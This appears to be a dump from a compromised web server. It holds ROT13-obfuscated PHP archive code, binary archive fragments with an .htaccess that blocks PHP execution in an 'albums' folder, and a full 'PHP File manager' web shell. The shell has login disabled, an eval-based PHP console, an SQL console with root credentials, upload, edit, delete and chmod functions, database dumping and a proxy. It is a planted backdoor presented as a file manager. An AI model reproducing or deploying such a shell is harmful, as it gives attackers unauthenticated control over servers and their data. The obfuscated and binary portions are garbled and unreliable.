		$urnqre['zbqr'] = BpgQrp(gevz($hacnpx_qngn['zbqr']));
		$urnqre['hfre_vq'] = BpgQrp(gevz($hacnpx_qngn['hfre_vq']));
		$urnqre['tebhc_vq'] = BpgQrp(gevz($hacnpx_qngn['tebhc_vq']));
		$urnqre['fvmr'] = BpgQrp(gevz($hacnpx_qngn['fvmr']));
		$urnqre['gvzr'] = BpgQrp(gevz($hacnpx_qngn['gvzr']));
		erghea gehr;
	}

	shapgvba jevgrUrnqre($svyranzr, $xrrc_svyranzr){
		$cnpxS = 'n100n8n8n8n12N12';
		$cnpxY = 'n1n100n6n2n32n32n8n8n155n12';
		vs (fgeyra($xrrc_svyranzr)<=0) $xrrc_svyranzr = $svyranzr;
		$svyranzr_ernql = $guvf->znxrTbbqCngu($xrrc_svyranzr);

		vs (fgeyra($svyranzr_ernql) > 99){							//jevgr ybat urnqre
		$qngnSvefg = cnpx($cnpxS, '././YbatYvax', 0, 0, 0, fcevags('%11f ', QrpBpg(fgeyra($svyranzr_ernql))), 0);
		$qngnYnfg = cnpx($cnpxY, 'Y', '', '', '', '', '', '', '', '', '');

        //  Pnyphyngr gur purpxfhz
		$purpxfhz = 0;
        //  Svefg cneg bs gur urnqre
		sbe ($v = 0; $v < 148; $v++)
			$purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
        //  Vtaber gur purpxfhz inyhr naq ercynpr vg ol ' ' (fcnpr)
		sbe ($v = 148; $v < 156; $v++)
			$purpxfhz += beq(' ');
        //  Ynfg cneg bs gur urnqre
		sbe ($v = 156, $w=0; $v < 512; $v++, $w++)
			$purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
        //  Jevgr gur svefg 148 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnSvefg, 148);
        //  Jevgr gur pnyphyngrq purpxfhz
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
        //  Jevgr gur ynfg 356 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnYnfg, 356);

		$gzc_svyranzr = $guvf->znxrTbbqCngu($svyranzr_ernql);

		$v = 0;
			juvyr (($ohssre = fhofge($gzc_svyranzr, (($v++)*512), 512)) != ''){
				$ovanelQngn = cnpx('n512', $ohssre);
				$guvf->jevgrOybpx($ovanelQngn);
			}
		erghea gehr;
		}
		$svyr_vasb = fgng($svyranzr);
		vs (@vf_qve($svyranzr)){
			$glcrsynt = '5';
			$fvmr = fcevags('%11f ', QrpBpg(0));
		} ryfr {
			$glcrsynt = '';
			pyrnefgngpnpur();
			$fvmr = fcevags('%11f ', QrpBpg(svyrfvmr($svyranzr)));
		}
		$qngnSvefg = cnpx($cnpxS, $svyranzr_ernql, fcevags('%6f ', QrpBpg(svyrcrezf($svyranzr))), fcevags('%6f ', QrpBpg($svyr_vasb[4])), fcevags('%6f ', QrpBpg($svyr_vasb[5])), $fvmr, fcevags('%11f', QrpBpg(svyrzgvzr($svyranzr))));
		$qngnYnfg = cnpx($cnpxY, $glcrsynt, '', '', '', '', '', '', '', '', '');
		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156, $w = 0; $v < 512; $v++, $w++) $purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
		$guvf->jevgrOybpx($qngnSvefg, 148);
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
		$guvf->jevgrOybpx($qngnYnfg, 356);
		erghea gehr;
	}

	shapgvba bcraJevgr(){
		vs ($guvf->vfTmvccrq)
			$guvf->gzc_svyr = tmbcra($guvf->nepuvir_anzr, 'jo9s');
		ryfr
			$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'jo');

		vs (!($guvf->gzc_svyr)){
			$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$guvf->nepuvir_anzr;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqOybpx(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				$oybpx = tmernq($guvf->gzc_svyr, 512);
			ryfr
				$oybpx = sernq($guvf->gzc_svyr, 512);
		} ryfr	$oybpx = '';

		erghea $oybpx;
	}

	shapgvba jevgrOybpx($qngn, $yratgu = 0){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
		
			vs ($yratgu === 0){
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn);
				ryfr
					schgf($guvf->gzc_svyr, $qngn);
			} ryfr {
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn, $yratgu);
				ryfr
					schgf($guvf->gzc_svyr, $qngn, $yratgu);
			}
		}
	}

	shapgvba pybfrGzcSvyr(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				tmpybfr($guvf->gzc_svyr);
			ryfr
				spybfr($guvf->gzc_svyr);

			$guvf->gzc_svyr = 0;
		}
	}

	shapgvba znxrTbbqCngu($cngu){
		vs (fgeyra($cngu)>0){
			$cngu = fge_ercynpr('\\', '/', $cngu);
			$cnegCngu = rkcybqr('/', $cngu);
			$ryf = pbhag($cnegCngu)-1;
			sbe ($v = $ryf; $v>=0; $v--){
				vs ($cnegCngu[$v] == '.'){
                    //  Vtaber guvf qverpgbel
                } ryfrvs ($cnegCngu[$v] == '..'){
                    $v--;
                }
				ryfrvs (($cnegCngu[$v] == '') naq ($v!=$ryf) naq ($v!=0)){
                }	ryfr
					$erfhyg = $cnegCngu[$v].($v!=$ryf ? '/'.$erfhyg : '');
			}
		} ryfr $erfhyg = '';
		
		erghea $erfhyg;
	}
}
?>PKd
[��9��931753/x.txt.txt.tar.gznu�[������A@0�aG�	t��\��	�4TZ��X��`1��m����pm�����Wc�ٕ��G�=	x��D�`)�D�i/�`�L�޶z�����U;͚���6���}}�B��ᛓPKd
[���6931753/.htaccess.tarnu�[���home/depancom/www/albums/.htaccess000064400000000210150432664160013167 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PKd
[���qq931753/index.php.php.tar.gznu�[������K
� @Q��
z*��z`�Ll�9h� ��gx'���b�~	J)��]��a�+�c4����$�c�&��K�d�L0��t})�C�u�ū��G.�_s�PKd
[��T��A�A931753/loadnu�[���eonuvbiuyevibycanpm'cwrnuvb348rb238 tnmqn8bytnnyb8qm0icrnubyuq iimpo3r32rnnnnnxalxjaa%00%01%0A">'><?php
/* PHP File manager ver 1.5 */
// @Nafisfuad1 -- telegrams
// Configuration — do not change manually
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
